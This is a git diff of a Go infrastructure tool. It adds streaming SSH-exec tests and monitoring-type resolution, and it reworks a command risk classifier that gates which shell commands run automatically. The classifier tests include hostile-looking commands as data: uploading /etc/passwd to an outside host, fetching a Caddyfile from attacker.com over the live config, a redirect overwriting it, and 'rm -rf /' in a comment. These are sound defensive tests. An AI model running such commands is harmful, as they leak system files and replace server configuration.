// P1.5). For each target slug, it runs a single read-only shell command
|
||||
|
||||
159
internal/mcp/sshexec_test.go
Normal file
159
internal/mcp/sshexec_test.go
Normal file
@@ -0,0 +1,159 @@
|
||||
package mcp
|
||||
|
||||
// Streaming tests for sshExecStream against a real SSH endpoint. Guarded by
|
||||
// OIKOS_SSH_TEST_HOST — skipped when unset. Run with:
|
||||
//
|
||||
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/mcp/ -run TestSSHExecStream
|
||||
//
|
||||
// These matter because the whole point of the change is behaviour that only
|
||||
// appears over time: that output arrives *before* the command exits, and that
|
||||
// a command killed mid-flight still leaves what it printed.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func sshTestHost(t *testing.T) string {
|
||||
t.Helper()
|
||||
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||
if host == "" {
|
||||
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live SSH test")
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// The core claim: chunks reach the sink while the command is still running,
|
||||
// not in one lump at the end. A command that prints, sleeps, then prints must
|
||||
// deliver its first chunk well before it exits.
|
||||
func TestSSHExecStreamDeliversOutputBeforeExit(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
chunks []string
|
||||
firstA time.Time
|
||||
)
|
||||
sink := func(stream string, chunk []byte) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if firstA.IsZero() {
|
||||
firstA = time.Now()
|
||||
}
|
||||
chunks = append(chunks, string(chunk))
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo FIRST; sleep 2; echo SECOND", sink)
|
||||
elapsed := time.Since(start)
|
||||
if err != nil {
|
||||
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
joined := strings.Join(chunks, "")
|
||||
firstAt := firstA.Sub(start)
|
||||
mu.Unlock()
|
||||
|
||||
if !strings.Contains(out, "FIRST") || !strings.Contains(out, "SECOND") {
|
||||
t.Errorf("combined output lost content: %q", out)
|
||||
}
|
||||
if !strings.Contains(joined, "FIRST") || !strings.Contains(joined, "SECOND") {
|
||||
t.Errorf("sink did not receive the full output: %q", joined)
|
||||
}
|
||||
if elapsed < 2*time.Second {
|
||||
t.Fatalf("command returned in %v — the sleep did not run, test is not measuring what it claims", elapsed)
|
||||
}
|
||||
// The first chunk must land near the start, not at the end.
|
||||
if firstAt > elapsed/2 {
|
||||
t.Errorf("first chunk arrived after %v of a %v command — output is still being buffered to the end",
|
||||
firstAt, elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
// stderr must reach the sink too, and land in the combined output, matching
|
||||
// what CombinedOutput used to return.
|
||||
func TestSSHExecStreamCapturesBothStreams(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
var mu sync.Mutex
|
||||
seen := map[string]bool{}
|
||||
sink := func(stream string, chunk []byte) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
seen[stream] = true
|
||||
}
|
||||
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo TO_STDOUT; echo TO_STDERR 1>&2", sink)
|
||||
if err != nil {
|
||||
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||
}
|
||||
|
||||
if !strings.Contains(out, "TO_STDOUT") || !strings.Contains(out, "TO_STDERR") {
|
||||
t.Errorf("combined output missing a stream: %q", out)
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if !seen["stdout"] {
|
||||
t.Error("sink never saw a stdout chunk")
|
||||
}
|
||||
if !seen["stderr"] {
|
||||
t.Error("sink never saw a stderr chunk")
|
||||
}
|
||||
}
|
||||
|
||||
// A cancelled command used to return "" — everything it had printed was
|
||||
// thrown away. The hung case is exactly when that output is worth having.
|
||||
func TestSSHExecStreamKeepsPartialOutputOnCancel(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
|
||||
out, err := sshExecStream(ctx, host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo BEFORE_HANG; sleep 30; echo NEVER", nil)
|
||||
|
||||
if err == nil {
|
||||
t.Fatal("expected a context error for a command that outlives the deadline")
|
||||
}
|
||||
if !strings.Contains(out, "BEFORE_HANG") {
|
||||
t.Errorf("partial output was discarded on cancel: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "NEVER") {
|
||||
t.Errorf("command should not have completed: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
// A nil sink must behave exactly as the old CombinedOutput path did.
|
||||
func TestSSHExecNilSinkStillReturnsOutput(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
out, err := sshExec(context.Background(), host, os.Getenv("OIKOS_SSH_USER"), "echo PLAIN")
|
||||
if err != nil {
|
||||
t.Fatalf("sshExec: %v", err)
|
||||
}
|
||||
if out != "PLAIN" {
|
||||
t.Errorf("out = %q, want %q (output is trimmed)", out, "PLAIN")
|
||||
}
|
||||
}
|
||||
|
||||
// A non-zero exit must surface as an error while still returning the output.
|
||||
func TestSSHExecStreamNonZeroExitIsAnError(t *testing.T) {
|
||||
host := sshTestHost(t)
|
||||
|
||||
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||
"echo PRINTED_THEN_FAILED; exit 3", nil)
|
||||
if err == nil {
|
||||
t.Fatal("a non-zero exit that printed output must still be an error")
|
||||
}
|
||||
if !strings.Contains(out, "PRINTED_THEN_FAILED") {
|
||||
t.Errorf("output lost on failure: %q", out)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -16,7 +16,7 @@ import (
|
||||
// starts being populated when OIDC identity resolution lands.
|
||||
func Audit(ctx context.Context, q *sqlcgen.Queries, actorType, actorLabel,
|
||||
action string, entityID *uuid.UUID, method, path, correlationID string,
|
||||
detail map[string]any) error {
|
||||
sessionID *uuid.UUID, detail map[string]any) error {
|
||||
|
||||
if detail == nil {
|
||||
detail = map[string]any{}
|
||||
@@ -36,6 +36,7 @@ func Audit(ctx context.Context, q *sqlcgen.Queries, actorType, actorLabel,
|
||||
Path: &path,
|
||||
Detail: detailJSON,
|
||||
CorrelationID: corr,
|
||||
SessionID: sessionID,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
90
internal/ontology/monitoring.go
Normal file
90
internal/ontology/monitoring.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package ontology
|
||||
|
||||
// Monitoring resolution: which check kinds an entity type warrants.
|
||||
//
|
||||
// Coverage is not uniform. A `service` warrants an HTTP probe; a `site` is a
|
||||
// physical location with nothing to probe; a `dns-zone` warrants a check whose
|
||||
// checker does not exist yet. Collapsing those three into "has no check_def"
|
||||
// is what made the fleet's monitoring gap invisible — 86 of 89 active entities
|
||||
// had no check, and staleSweep's INNER JOIN against check_defs meant none of
|
||||
// them could ever be marked stale.
|
||||
//
|
||||
// So the declaration lives on the entity TYPE, in seeds/ontology.yaml, and
|
||||
// resolves through the same is-a hierarchy the validator already walks:
|
||||
// declaring `monitoring: [ping, resource]` on abstract `machine` covers
|
||||
// proxmox-host, standalone-server, workstation and appliance.
|
||||
|
||||
// MonitoringResolution is the outcome of resolving a type's monitoring
|
||||
// declaration. The three states are deliberately distinguishable:
|
||||
//
|
||||
// Declared=false — nobody in the chain said anything. An ontology
|
||||
// gap: report it, but as a modelling problem
|
||||
// rather than as a fleet monitoring problem.
|
||||
// Declared=true, len(0) — explicitly unmonitorable. Working as intended;
|
||||
// never raise an `unmonitored` signal for it.
|
||||
// Declared=true, len(n) — these kinds are expected to exist.
|
||||
type MonitoringResolution struct {
|
||||
Kinds []string
|
||||
|
||||
// Declared reports whether anything in the chain (or the layer default)
|
||||
// settled the question.
|
||||
Declared bool
|
||||
|
||||
// Source names the type that supplied the answer — the type itself, an
|
||||
// ancestor, or "" when the layer default applied. Useful in log lines
|
||||
// that explain why an entity has the checks it has.
|
||||
Source string
|
||||
}
|
||||
|
||||
// None reports an explicit "this type is not monitored".
|
||||
func (m MonitoringResolution) None() bool {
|
||||
return m.Declared && len(m.Kinds) == 0
|
||||
}
|
||||
|
||||
// Wants reports whether the type expects a check of this kind.
|
||||
func (m MonitoringResolution) Wants(kind string) bool {
|
||||
for _, k := range m.Kinds {
|
||||
if k == kind {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Monitoring resolves the check kinds a type warrants, walking parent types
|
||||
// until one carries a declaration.
|
||||
//
|
||||
// Types outside the infrastructure layer (governance, cognition, meta) fall
|
||||
// back to an implicit "none": a signal, an approval, a document and a person
|
||||
// are records, not running things. That default keeps ~20 record types out of
|
||||
// the ontology without needing an explicit `monitoring: none` on each, while
|
||||
// still treating an undeclared *infrastructure* type as a genuine gap — those
|
||||
// are the ones somebody should have made a decision about. A non-infrastructure
|
||||
// type that really is probeable (agent, which serves a gateway on :8092) just
|
||||
// declares its kinds explicitly and wins on the first rule.
|
||||
func (t *TypeTree) Monitoring(typ string) MonitoringResolution {
|
||||
seen := map[string]bool{}
|
||||
for cur := typ; cur != ""; cur = t.Types[cur].Parent {
|
||||
info, ok := t.Types[cur]
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if seen[cur] {
|
||||
break // cycle guard — ingest rejects cycles, belt and braces
|
||||
}
|
||||
seen[cur] = true
|
||||
|
||||
if info.Monitoring != nil {
|
||||
return MonitoringResolution{
|
||||
Kinds: *info.Monitoring,
|
||||
Declared: true,
|
||||
Source: cur,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if info, ok := t.Types[typ]; ok && info.Layer != "infrastructure" {
|
||||
return MonitoringResolution{Declared: true}
|
||||
}
|
||||
return MonitoringResolution{}
|
||||
}
|
||||
121
internal/ontology/monitoring_test.go
Normal file
121
internal/ontology/monitoring_test.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package ontology
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func kinds(v ...string) *[]string {
|
||||
s := append([]string{}, v...)
|
||||
return &s
|
||||
}
|
||||
|
||||
// monitoringTree mirrors the real shape of seeds/ontology.yaml: a declaration
|
||||
// on an abstract type that concrete subtypes inherit, an explicit none on a
|
||||
// topological type, a probeable type outside the infrastructure layer, and an
|
||||
// undeclared infrastructure type (the ontology gap this is meant to catch).
|
||||
func monitoringTree() *TypeTree {
|
||||
return &TypeTree{
|
||||
Types: map[string]TypeInfo{
|
||||
"entity": {IsAbstract: true, Layer: "meta"},
|
||||
"compute-entity": {Parent: "entity", IsAbstract: true, Layer: "infrastructure"},
|
||||
"machine": {Parent: "compute-entity", IsAbstract: true, Layer: "infrastructure",
|
||||
Monitoring: kinds("ping", "resource")},
|
||||
"proxmox-host": {Parent: "machine", Layer: "infrastructure"},
|
||||
"workstation": {Parent: "machine", Layer: "infrastructure"},
|
||||
"service": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds("http", "process")},
|
||||
"site": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds()},
|
||||
"vlan": {Parent: "entity", Layer: "infrastructure"}, // undeclared: a gap
|
||||
"agent": {Parent: "entity", Layer: "governance", Monitoring: kinds("http")},
|
||||
"signal": {Parent: "entity", Layer: "cognition"},
|
||||
"document": {Parent: "entity", Layer: "governance"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringResolvesThroughHierarchy(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
cases := []struct {
|
||||
typ string
|
||||
wantKinds []string
|
||||
wantDecl bool
|
||||
wantSource string
|
||||
desc string
|
||||
}{
|
||||
{"machine", []string{"ping", "resource"}, true, "machine", "declared on itself"},
|
||||
{"proxmox-host", []string{"ping", "resource"}, true, "machine", "inherited from abstract parent"},
|
||||
{"workstation", []string{"ping", "resource"}, true, "machine", "inherited by a sibling too"},
|
||||
{"service", []string{"http", "process"}, true, "service", "declared on itself"},
|
||||
{"site", nil, true, "site", "explicitly none — not a gap"},
|
||||
{"agent", []string{"http"}, true, "agent", "explicit declaration beats the layer default"},
|
||||
{"signal", nil, true, "", "cognition layer is implicitly none"},
|
||||
{"document", nil, true, "", "governance layer is implicitly none"},
|
||||
{"vlan", nil, false, "", "undeclared infrastructure type is a genuine gap"},
|
||||
{"nonexistent", nil, false, "", "unknown type resolves to undeclared"},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
got := tree.Monitoring(c.typ)
|
||||
if got.Declared != c.wantDecl {
|
||||
t.Errorf("%s (%s): Declared = %v, want %v", c.typ, c.desc, got.Declared, c.wantDecl)
|
||||
}
|
||||
if got.Source != c.wantSource {
|
||||
t.Errorf("%s (%s): Source = %q, want %q", c.typ, c.desc, got.Source, c.wantSource)
|
||||
}
|
||||
if len(got.Kinds) != len(c.wantKinds) {
|
||||
t.Errorf("%s (%s): Kinds = %v, want %v", c.typ, c.desc, got.Kinds, c.wantKinds)
|
||||
continue
|
||||
}
|
||||
for i, k := range c.wantKinds {
|
||||
if got.Kinds[i] != k {
|
||||
t.Errorf("%s (%s): Kinds[%d] = %q, want %q", c.typ, c.desc, i, got.Kinds[i], k)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The distinction between these two is what keeps coverageSweep from raising
|
||||
// permanent, unresolvable signals against entities that are working as intended.
|
||||
func TestMonitoringNoneIsNotTheSameAsUndeclared(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
site := tree.Monitoring("site")
|
||||
if !site.None() {
|
||||
t.Error("site declared `monitoring: none`, expected None() to report true")
|
||||
}
|
||||
|
||||
vlan := tree.Monitoring("vlan")
|
||||
if vlan.None() {
|
||||
t.Error("vlan declared nothing at all — None() must not claim it opted out")
|
||||
}
|
||||
if vlan.Declared {
|
||||
t.Error("vlan is an undeclared infrastructure type; it should read as a gap")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringWants(t *testing.T) {
|
||||
tree := monitoringTree()
|
||||
|
||||
svc := tree.Monitoring("service")
|
||||
if !svc.Wants("http") {
|
||||
t.Error("service should want an http check")
|
||||
}
|
||||
if svc.Wants("resource") {
|
||||
t.Error("service should not want a resource check")
|
||||
}
|
||||
if tree.Monitoring("site").Wants("http") {
|
||||
t.Error("an explicitly unmonitorable type wants nothing")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoringSurvivesParentCycle(t *testing.T) {
|
||||
// The ingest rejects cycles; this guards the walker regardless.
|
||||
tree := &TypeTree{Types: map[string]TypeInfo{
|
||||
"a": {Parent: "b", Layer: "infrastructure"},
|
||||
"b": {Parent: "a", Layer: "infrastructure"},
|
||||
}}
|
||||
got := tree.Monitoring("a")
|
||||
if got.Declared {
|
||||
t.Errorf("cyclic chain declared nothing, got %+v", got)
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,13 @@ type TypeInfo struct {
|
||||
Parent string
|
||||
IsAbstract bool
|
||||
LifecycleID string
|
||||
Layer string
|
||||
|
||||
// Monitoring is this type's own `monitoring:` declaration, or nil if it
|
||||
// declared nothing (in which case the answer comes from an ancestor, or
|
||||
// from the layer default). A non-nil pointer to an empty slice means
|
||||
// "explicitly unmonitorable" — see TypeTree.Monitoring.
|
||||
Monitoring *[]string
|
||||
}
|
||||
|
||||
// RelTypeInfo is the subset of a relationship type the validator needs.
|
||||
|
||||
@@ -77,8 +77,49 @@ var readOnlyLeadPattern = regexp.MustCompile(
|
||||
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
||||
`git\s+(status|log|diff|show|branch|remote))\b`)
|
||||
|
||||
// envAssignRe matches leading FOO=bar env-var assignments so they can be
|
||||
// stripped before the read-only verb check.
|
||||
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
|
||||
|
||||
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
|
||||
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
|
||||
// optional but recommended — without it, the rest of the line is the
|
||||
// command passed to exec. Case-insensitive.
|
||||
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
|
||||
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
|
||||
// the quoted inner command. Handles single-quoted, double-quoted, and bare
|
||||
// (unquoted) forms.
|
||||
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
|
||||
|
||||
// curlLeadRe matches a curl command (the verb alone, at the segment start).
|
||||
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
|
||||
|
||||
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
|
||||
// method override, data payloads, form uploads, file uploads, file output).
|
||||
// When any of these appears, the curl command is no longer read-only.
|
||||
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
|
||||
|
||||
// curlDevNullOutRe matches curl output redirected to /dev/null in any of curl's
|
||||
// argument forms (space, =, or attached). /dev/null is a no-op sink, so a GET
|
||||
// that discards its body — the canonical reachability idiom
|
||||
// `curl -o /dev/null -w '%{http_code}' URL` — is read-only. Output to any real
|
||||
// path (-o /tmp/x) stays a potential mutation. Stripped before curlMutateRe so
|
||||
// the remaining flags (-X, -d, ...) still classify correctly: a
|
||||
// `curl -o /dev/null -X POST` stays config_mutation.
|
||||
var curlDevNullOutRe = regexp.MustCompile(`(?i)(^|\s)-o\s*/dev/null(\s|$)|(^|\s)--output[=\s]\s*/dev/null(\s|$)`)
|
||||
|
||||
// redirectOutRe matches shell output redirection to a file (> or >> followed
|
||||
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
|
||||
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
|
||||
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
|
||||
// be neither `&` nor whitespace.
|
||||
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
|
||||
|
||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||
// so each segment can be individually classified. A piped or chained command
|
||||
@@ -130,16 +171,29 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
|
||||
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
|
||||
// scores the *actual* command, not the wrapper. Without this, every
|
||||
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
|
||||
// config_mutation even though the inner command is read-only inspection.
|
||||
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
|
||||
// sessions bounced off the classifier because read-only `pct exec` and
|
||||
// `curl` were gated as config_mutation.
|
||||
inner := unwrapCommand(cmd)
|
||||
|
||||
for _, p := range destructivePatterns {
|
||||
if p.MatchString(cmd) {
|
||||
// Match on both the raw and unwrapped forms so that
|
||||
// `pct exec 121 -- rm -rf /` is still destructive even if the
|
||||
// unwrapping somehow hid it.
|
||||
if p.MatchString(inner) || p.MatchString(cmd) {
|
||||
return RiskDestructive
|
||||
}
|
||||
}
|
||||
|
||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||
// never auto-run, even if the visible verbs look read-only.
|
||||
if !subshellRe.MatchString(cmd) {
|
||||
if allSegmentsReadOnly(cmd) {
|
||||
if !subshellRe.MatchString(inner) {
|
||||
if allSegmentsReadOnly(inner) {
|
||||
return RiskReadOnly
|
||||
}
|
||||
}
|
||||
@@ -149,6 +203,70 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// unwrapCommand peels known command wrappers to expose the inner command
|
||||
// for classification. It repeatedly strips:
|
||||
// - leading sudo
|
||||
// - leading FOO=bar env-var assignments
|
||||
// - `pct exec <id> [--] <inner>` → <inner>
|
||||
// - `qm guest exec <id> [--] <inner>` → <inner>
|
||||
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
|
||||
//
|
||||
// When no wrapper is detected, the input is returned unchanged. The peel
|
||||
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
|
||||
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
|
||||
// |) are returned unchanged — they need per-segment classification, which
|
||||
// the caller handles.
|
||||
func unwrapCommand(cmd string) string {
|
||||
probe := strings.TrimSpace(cmd)
|
||||
// A compound command cannot be unwrapped as a whole — the inner
|
||||
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
|
||||
// the ";" you're on. The caller splits compounds before classifying
|
||||
// each segment, and each segment is unwrapped independently. Bail out
|
||||
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
|
||||
if compoundOpPattern.MatchString(probe) {
|
||||
return probe
|
||||
}
|
||||
for i := 0; i < 8; i++ { // bounded unwrap depth
|
||||
next := peelOneWrapper(probe)
|
||||
if next == probe {
|
||||
return probe
|
||||
}
|
||||
probe = strings.TrimSpace(next)
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// peelOneWrapper applies one peel step. Returns the input unchanged if no
|
||||
// wrapper matched.
|
||||
func peelOneWrapper(probe string) string {
|
||||
// sudo prefix
|
||||
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
|
||||
return strings.TrimSpace(stripped)
|
||||
}
|
||||
// Env assignments: FOO=bar BAZ=qux <cmd>
|
||||
if envAssignRe.MatchString(probe) {
|
||||
return envAssignRe.ReplaceAllString(probe, "")
|
||||
}
|
||||
// pct exec <id> [--] <inner>
|
||||
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// qm guest exec <id> [--] <inner>
|
||||
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
|
||||
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
|
||||
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
|
||||
for _, g := range m[1:] {
|
||||
if g != "" {
|
||||
return g
|
||||
}
|
||||
}
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||
@@ -161,14 +279,53 @@ func allSegmentsReadOnly(cmd string) bool {
|
||||
if seg == "" {
|
||||
continue
|
||||
}
|
||||
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
|
||||
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
|
||||
// to two read-only segments after unwrapping each.
|
||||
seg = unwrapCommand(seg)
|
||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||
probe := seg
|
||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
||||
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
||||
probe = strings.TrimPrefix(probe, "sudo ")
|
||||
probe = envAssignRe.ReplaceAllString(probe, "")
|
||||
probe = strings.TrimSpace(probe)
|
||||
// curl is handled by a dedicated check because GET (the default) is
|
||||
// read-only but POST/data/upload flags are not. The general
|
||||
// readOnlyLeadPattern can't distinguish these.
|
||||
if curlLeadRe.MatchString(probe) {
|
||||
if !curlIsReadOnly(probe) {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
// Any output redirection makes a verb non-read-only even if the
|
||||
// verb itself is (e.g. "curl url > /etc/passwd").
|
||||
if redirectOutRe.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
if !readOnlyLeadPattern.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return len(segments) > 0
|
||||
}
|
||||
|
||||
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
|
||||
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
|
||||
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
|
||||
// file writes all disqualify the read-only path.
|
||||
func curlIsReadOnly(curlCmd string) bool {
|
||||
if !curlLeadRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
// -o /dev/null is a no-op sink: strip it before flag detection so the
|
||||
// canonical GET-and-discard reachability probe stays read-only.
|
||||
// A `curl -o /dev/null -X POST` still fails curlMutateRe after stripping.
|
||||
curlCmd = curlDevNullOutRe.ReplaceAllString(curlCmd, " ")
|
||||
if curlMutateRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
if redirectOutRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
|
||||
"docker compose ps",
|
||||
"docker compose top",
|
||||
"docker compose config",
|
||||
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
|
||||
"curl http://192.168.8.214:5572/rc/core/stats",
|
||||
"curl -fsSL https://example.com/",
|
||||
"curl -I http://example.com/",
|
||||
"curl --head http://example.com/",
|
||||
// pct exec with a read-only inner command is now read-only (P0.1).
|
||||
"pct exec 132 systemctl status rclone-backup.timer",
|
||||
"pct exec 121 -- systemctl is-active caddy",
|
||||
"pct exec 121 -- journalctl -u caddy -n 50",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
"pct exec 121 -- bash -c 'systemctl status caddy'",
|
||||
"sudo pct exec 121 -- systemctl status caddy",
|
||||
// qm guest exec on a VM, read-only inner.
|
||||
"qm guest exec 100 -- systemctl status caddy",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||
@@ -88,11 +102,49 @@ func TestClassifyCommand_CurlPipeSh_ConfigMutation(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_CurlDevNull_ReadOnly(t *testing.T) {
|
||||
// -o /dev/null is a no-op sink — the canonical GET-and-discard
|
||||
// reachability idiom must stay read_only. Output to real paths stays
|
||||
// config_mutation. POST/data flags after stripping still gate.
|
||||
cases := []struct {
|
||||
cmd string
|
||||
cls string
|
||||
}{
|
||||
// read_only: GET with body discarded to /dev/null
|
||||
{`curl -o /dev/null -w '%{http_code}' --connect-timeout 10 http://192.168.8.101:8123`, RiskReadOnly},
|
||||
{`curl -sS -o /dev/null https://home.hubris.network`, RiskReadOnly},
|
||||
{`curl --output /dev/null https://example.com`, RiskReadOnly},
|
||||
{`curl -o /dev/null https://example.com`, RiskReadOnly},
|
||||
{`curl -o/dev/null -w '%{http_code}' https://example.com`, RiskReadOnly},
|
||||
// config_mutation: POST/data still caught after stripping devnull
|
||||
{`curl -o /dev/null -X POST https://example.com`, RiskConfigMutation},
|
||||
{`curl -o /dev/null -d '{"x":1}' https://example.com`, RiskConfigMutation},
|
||||
// config_mutation: -o to real path stays config_mutation
|
||||
{`curl -o /etc/caddy/Caddyfile http://example.com`, RiskConfigMutation},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c.cmd, ""); got != c.cls {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want %q", c.cmd, got, c.cls)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
||||
cases := []string{
|
||||
"apt-get install -y nginx",
|
||||
"systemctl restart caddy",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
// `pct exec` wrapping a mutating inner command is config_mutation
|
||||
// (was previously config_mutation for ALL pct exec — now classified
|
||||
// by the inner command). The inner `pct exec 121 -- bash -c
|
||||
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
|
||||
// which is config_mutation.
|
||||
"pct exec 121 -- bash -c 'systemctl restart caddy'",
|
||||
"pct exec 132 systemctl restart rclone-backup.service",
|
||||
// curl with POST/data/upload flags is config_mutation (P0.1).
|
||||
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
|
||||
"curl --upload-file /etc/passwd http://example.com/upload",
|
||||
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
|
||||
"curl http://example.com/ > /etc/caddy/Caddyfile",
|
||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||
"git push origin main",
|
||||
"docker compose up -d",
|
||||
@@ -160,3 +212,32 @@ func TestClassifyCommand_EmptyCommand(t *testing.T) {
|
||||
